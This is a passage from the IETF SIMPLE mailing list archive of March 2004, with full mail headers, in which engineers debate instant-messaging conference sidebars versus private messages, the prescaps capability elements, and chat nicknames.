>>MSRP OK
>>
>>BYE
>>200 OK
>>
>>...as opposed to a single round of messages:
>>
>>MSRP SEND (private)
>>200 OK
>>
>>(Note that enabling auto-answering wrt the REFER would in the 
>>worst case
>>result in a sidebar bombardment, or having a user be moved over to a
>>sidebar in the middle of, say, message composition.)
>>
>>The same level of functionality would also not be met with only using
>>private messages. AFAIK, the purpose of a sidebar is to move the focus
>>of the conversation temporarily outside the original conference. This
>>requires being able to wrap a discussion into a separate 
>>context. A very
>>important aspect of this is to let the user decide whether to 
>>joing such
>>a sidebar, and when to join it. Determining to which context a
>>particular received private message belongs to can in this 
>>case only be
>>done in the recipients head - there are no protocol elements to help.
>>
>>As a conclusion, I don't see how sidebars alone can provide 
>>the required
>>functionality.
>>
>>
>>>So, the question is, do we see the perceived efficiency 
>>
>>improvements 
>>
>>>of a pager-mode sidebar as being sufficiently good to allow for 
>>>defining a separate sidebar mechanism for it?
>>
>>It is also about user interaction. When a user receives an 
>>INVITE for an
>>MSRP session, it can make a choice just like in a voice call between
>>accepting the call or rejecting it. Page mode doesn't provide that 
>>functionality.
>>
>>Cheers,
>>Aki
>>
>>
>>>-Jonathan R.
>>

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 03:03:14 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27300
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 03:03:14 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiNy-0005EG-35
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 03:02:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2182jHD020094
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:02:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiNx-0005E1-OK
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:02:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27276
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:02:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiNt-0002p3-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:02:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiMw-0002ik-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:01:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiMH-0002cZ-00; Mon, 01 Mar 2004 03:01:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiMI-000518-Uo; Mon, 01 Mar 2004 03:01:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiLs-0004tj-Qd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:00:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27088
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:00:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiLo-0002Z1-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:00:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiKr-0002Qb-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:59:34 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiJx-0002Ie-00
	for simple@ietf.org; Mon, 01 Mar 2004 02:58:37 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i217wVL16310;
	Mon, 1 Mar 2004 09:58:31 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 09:57:56 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i217vuGh013420;
	Mon, 1 Mar 2004 09:57:56 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00HntyFw; Mon, 01 Mar 2004 09:57:53 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i217vrO21048;
	Mon, 1 Mar 2004 09:57:53 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 09:57:51 +0200
Message-ID: <4042ECFD.4010206@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 07:57:52.0021 (UTC) FILETIME=[E5963450:01C3FF62]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:57:49 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Brian,

I've never argued for private messages over sidebars. I still maintain 
that sidebars and private messages are different and *complimentary* 
features, and that we need *both* to have a complete solution for IM 
conferences.

Cheers,
Aki

ext Rosen, Brian wrote:
> Aki
> 
> When we were discussing sidebars, I made arguments like this against making
> a sidebar
> a separate session.  Sidebars, I argued, are just media (mixing) changes,
> they have
> nothing to do with session management.
> 
> I lost this argument, and I will be very unhappy if IM works differently.
> One of
> the reasons I lost it was the observation that a sidebar could include
> participants
> who are not main conference participants.  I think you have the same issue
> here.
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Sunday, February 29, 2004 12:40 PM
>>To: ext Jonathan Rosenberg
>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>
>>
>>ext Jonathan Rosenberg wrote:
>><snip />
>>
>>>>3. As Aki explained, sidebars and private IMs within a conference 
>>>>are two different things. Sidebars are subconferences, that include
>>>> a certain subset of the participants in the main conference. They 
>>>>need to be explicitly created and deleted. Private IMs within a 
>>>>conference are also targeted to a subset of the conference 
>>>>participants. But there is no need to setup a sidebar or any other 
>>>>additional context to send them. The recipients can simply be 
>>>>signaled within each message (as proposed by using CPIM To header).
>>>> This seems to be a specific property of IM, as this sort of 
>>>>addressing would be impossible e.g. in RTP. In theory priate 
>>>>messaging facility could be supported by sidebars, but in this case
>>>> the focus would need to have as many sidebars constantly setup, as
>>>> there are different possible participant subset combinations. Way 
>>>>too complex and not needed.
>>>
>>>
>>>I dont think that, functionally, what you are describing is 
>>
>>different
>>
>>> from a sidebar. What differs is that the specifics of this media 
>>>type allow for a more efficient implementation of the sidebar than 
>>>would be possible for another media type, such as audio. 
>>
>>Indeed, the 
>>
>>>same is true for IM in general - why set up a session (ala 
>>
>>msrp) when
>>
>>>you can just send a pager mode?
>>
>>The ultimate proof of difference in functionality is that private
>>messages are usable and useful in a sidebar - in fact it makes no
>>difference whether they're sent within the context of a conference, a
>>conference sidebar, or a sidebar of a conference sidebar.
>>
>>Let me provide a concrete example of an already existing service (IRC)
>>that has what I think is a close approximation of both sidebar and
>>private message functionality. (BTW, I feel strongly that if MSRP
>>conferences aren't as feature rich as IRC is, and provide the 
>>same user
>>experience, we've failed miserably.)
>>
>>Channels in IRC have identities, e.g., #helsinki, and 
>>participant lists
>>that are delivered in a very similar manner that the conference-info
>>events would be delivered. Users join these channels using JOIN, at
>>which time they get the participant list, and after that, 
>>updates e.g.,
>>whenever anyone leaves or joins the channel.
>>
>>Users can send private messages to the other participants in 
>>the channel:
>>
>>	PRIVMSG foobar :Some nick you got there foobar!
>>
>>Usually, these messages are displayed in the same pane as the rest of
>>the channel's messages, including information about the sender but
>>marked accordingly as private.
>>
>>A user can also invite others to a sidebar of sorts, that is, a new
>>channel, whose properties can be set such that it can be joined by
>>invitation only.
>>
>>	INVITE FunnyNick #my_channel
>>	INVITE BeerLover #my_channel
>>	INVITE ROOLZ #my_channel
>>
>>Joining this new channel as a result of an invitation (with JOIN)
>>usually results in a new window, moving the focus of conversation away
>>from the original channel, but still maintaining the original channel'
>>and its messages active in the background.
>>
>>The users may again send messages either to the entire 
>>channel (MSG), or
>>to only one participant (PRIVMSG). A recipient of an INVITE will
>>generally make a choice just like in a SIP invitation whether 
>>or not to
>>join the sidebar or not. Receiving a PRIVMSG requires no actions from
>>the recipient. Indeed, it might even go unnoticed.
>>
>>Taking this into account, I fail to see how sidebars alone can be made
>>to work in providing similar functionality in MSRP conferences. Either
>>sidears or private messages alone won't result in the same level of
>>functionality.
>>
>>Wrapping all private conversation inside a sidebar is incredibly
>>inefficient and results in bad user experience, since there 
>>is no way to
>>distinguish a REFER that is to a sidebar whose sole purpose 
>>is to send a
>>single private message to the user or have a real ad-hoc conversation
>>posibly consisting of a real exchange of messages. In fact, this would
>>require 4 rounds of singalling (not including sidebar creation and
>>tear-down), plus user interaction in between:
>>
>>REFER (to sidebar)
>>200 OK
>>
>>-Query/inform user whether wants to join-
>>
>>INVITE (to sidebar)
>>200 OK
>>ACK
>>
>>(Note: would probably also require subscription to conference-info,
>>because one would be interested to whom they are sending the private
>>messages...)
>>
>>MSRP SEND
>>MSRP OK
>>
>>BYE
>>200 OK
>>
>>...as opposed to a single round of messages:
>>
>>MSRP SEND (private)
>>200 OK
>>
>>(Note that enabling auto-answering wrt the REFER would in the 
>>worst case
>>result in a sidebar bombardment, or having a user be moved over to a
>>sidebar in the middle of, say, message composition.)
>>
>>The same level of functionality would also not be met with only using
>>private messages. AFAIK, the purpose of a sidebar is to move the focus
>>of the conversation temporarily outside the original conference. This
>>requires being able to wrap a discussion into a separate 
>>context. A very
>>important aspect of this is to let the user decide whether to 
>>joing such
>>a sidebar, and when to join it. Determining to which context a
>>particular received private message belongs to can in this 
>>case only be
>>done in the recipients head - there are no protocol elements to help.
>>
>>As a conclusion, I don't see how sidebars alone can provide 
>>the required
>>functionality.
>>
>>
>>>So, the question is, do we see the perceived efficiency 
>>
>>improvements 
>>
>>>of a pager-mode sidebar as being sufficiently good to allow for 
>>>defining a separate sidebar mechanism for it?
>>
>>It is also about user interaction. When a user receives an 
>>INVITE for an
>>MSRP session, it can make a choice just like in a voice call between
>>accepting the call or rejecting it. Page mode doesn't provide that 
>>functionality.
>>
>>Cheers,
>>Aki
>>
>>
>>>-Jonathan R.
>>

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 03:23:36 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01349
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:23:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axii7-0004nx-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:23:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxihD-0004iP-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:22:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axigh-0004cm-00; Mon, 01 Mar 2004 03:22:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axige-0006KU-1Q; Mon, 01 Mar 2004 03:22:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axifp-0006GA-Jl
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:21:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA00997
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:21:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxicB-0004Ed-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:17:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxibI-0004Af-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:16:32 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axiae-0003yv-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:15:52 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-1.cisco.com with ESMTP; 01 Mar 2004 00:18:59 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218FLT4006038;
	Mon, 1 Mar 2004 03:15:21 -0500 (EST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35006;
	Mon, 1 Mar 2004 03:15:18 -0500 (EST)
Message-ID: <4042F114.9020903@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on prescaps
References: <40420159.3040708@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:15:16 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan,

More comments below.

	Thanks,
	Paul

Jonathan Rosenberg wrote:
>> 3.3 <audio> element
>>
>>    The <audio> element indicates that the device supports audio as a
>>    streaming media type as defined in [6].
>>
>>    The <audio> element can contain 'negated' attribute. This attribute
>>    is of boolean type. Value 'true' indicates that device supports audio
>>    media type and value 'false' indicates that device does not support
>>    audio media type as defined in [6]. Default value for 'negated'
>>    attribute is 'false'.
>>
>>    <audio> element can contain any number of <type> elements which can
>>    be used to describe audio media types supported by the device. If
>>    'negated' attribute has value 'true' it is NOT RECOMMENTED to include
>>    <type> elements. Media types included in <type> elements MUST start
>>    with 'audio/'.
> 
> 
> This is inconsistent with callee-caps. In callee-caps, the audio tag 
> means that the device supports streaming audio. The type tag, which 
> already existed in the registry, indicates MIME types that the SIP 
> client supports in SIP messages, NOT in streaming media. Thus, there is 
> no callee cap mapping to the <type> element you define above. I would 
> suggest that we not include a <type> in order to keep alignment with 
> callee-caps.

This also caught my eye. But after thinking about it I decided it was 
ok. While it is important for the prescaps extensions to be capable of 
representing anything in callee-caps, the converse need not hold true. 
If this is useful information, then why not permit it to be encoded?

This type tag is different from that in the registry. It is talking 
about the streaming media. Because of this, it might be best to use a 
different name. Also, encoding the full type here is redundant, because 
it is encoded in the enclosing tag. So maybe what would be better here 
is a <subtype> tag.

>> Open issue: Do we need to also allow separate <type> elements outside
>>       media tags? This would allow representation of other media type
>>       which are not included into this document (like multipart or
>>       message).
> 
> I suggest alignment with callee caps, and thus, no.

As you noted, we already have it because the feature tag already exists, 
and callee-caps permits use of feature tags defined elsewhere.

As such, it would carry over to prescaps as an extension element. There 
*could* be explicit schema for it, but I doubt that is necessary as long 
as the extension mechanism is present. (I sent a separate reply on that.)


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 03:24:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01393
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:24:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axij0-0004uV-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:24:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axihz-0004n5-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:23:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axih4-0004gw-00; Mon, 01 Mar 2004 03:22:30 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axih5-0006ZG-6d; Mon, 01 Mar 2004 03:22:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axig3-0006JJ-Fl
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:21:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01170
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:21:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiRW-0003C0-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:06:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiQX-00036i-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:05:25 -0500
Received: from syd-iport-1.cisco.com ([64.104.193.196])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiPX-0002xV-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:04:24 -0500
Received: from syd-core-1.cisco.com (64.104.193.198)
  by syd-iport-1.cisco.com with ESMTP; 01 Mar 2004 00:14:09 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by syd-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i21B303K007513;
	Mon, 1 Mar 2004 19:03:03 +0800 (WST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK34799;
	Mon, 1 Mar 2004 03:03:42 -0500 (EST)
Message-ID: <4042EE5D.3090901@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on prescaps - extension elements
References: <40420159.3040708@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:03:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I have other comments on this, but I want to single this one as 
especially important.

	Thanks,
	Paul

Jonathan Rosenberg wrote:
>>
>> 3.23 Extension elements
>>
>>    This section defines how extension features present in "Indicating
>>    User Agent Capabilities in the Session Initiation Protocol (SIP)"
>>    [6]    can be used in this extension.
> 
> 
> I know I spoke in favor of this approach in the past, but I never 
> guarantee the self consistency of my argumetns over time, and I now 
> think that this is not a good idea.
> 
> The reasons are:
> 
>   1. XML has a mechanism for extensibility; this defines a separate one
>   2. an element could appear as an extension as you have defined it, or, 
> if later we do define a matching set of real XML extensions to carry it, 
> it could appear there. You dont want to have two valid ways of carrying 
> the data
>   3. there is an argument to be made that the PA should not generally be 
> conveying infomraiton it doesnt understand, and that is the case here
> 
> As such, I would recommend dropping this entire section.

I disagree!

The extension mechanism in callee-caps has means that don't require any 
registration at all. This is very good for cases when there are features 
that are very transient. For instance, it is possible to define a 
feature tag for something like frobitz-sales, or widget-help. And then I 
can use callerprefs to select an endpoint with the appropriate 
capability. This allows end users to take advantage of callerprefs for 
features that matter to them. (Assuming sufficiently smart devices.)

When using presence, I would like the same to hold true. If it is 
necessary to define a new xml schema before I can announce a capability 
for widget-help in my presence then nothing this dynamic can be a feature.

If there is a problem, it is that the draft forbids use of the extension 
mechanism when there is specific schema for the same purpose.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 03:30:00 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01907
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:30:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxioI-0005mL-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:29:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxinS-0005dt-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:29:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aximh-0005V1-00; Mon, 01 Mar 2004 03:28:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AximR-0008JZ-Ft; Mon, 01 Mar 2004 03:28:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axilz-0008Dn-8l
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:27:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01697
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:27:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axilx-0005P3-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:27:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axil0-0005E1-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:26:34 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axijy-000534-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:25:30 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218POT24386;
	Mon, 1 Mar 2004 10:25:24 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:24:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218OLCT014156;
	Mon, 1 Mar 2004 10:24:21 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 003JMLor; Mon, 01 Mar 2004 10:24:19 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218OIO01959;
	Mon, 1 Mar 2004 10:24:18 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:24:05 +0200
Message-ID: <4042F323.300@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Cullen Jennings <fluffy@cisco.com>
CC: Brian Rosen <Brian.Rosen@marconi.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Paul H Kyzivat <pkyzivat@cisco.com>, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
References: <BC651C8A.335B7%fluffy@cisco.com>
In-Reply-To: <BC651C8A.335B7%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 08:24:05.0329 (UTC) FILETIME=[8F59F410:01C3FF66]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Chat Nicknames
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:24:03 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Cullen Jennings wrote:
> I might be missing the boat here but let me ask a question that separates
> stuff. 

I doubt it. I think this particular boat is still covered up in storage, 
waiting for spring. ;)

> Is there a requirement to be able to change you nickname on every message or
> would it be acceptable to set up a new session if you want to change you
> nickname?

I think the requirement is definitely to require a re-INVITE (or 
equivalent) to change the nickname. In fact, once the nick is set within 
the conference, the server ought to administer it as well. Otherwise 
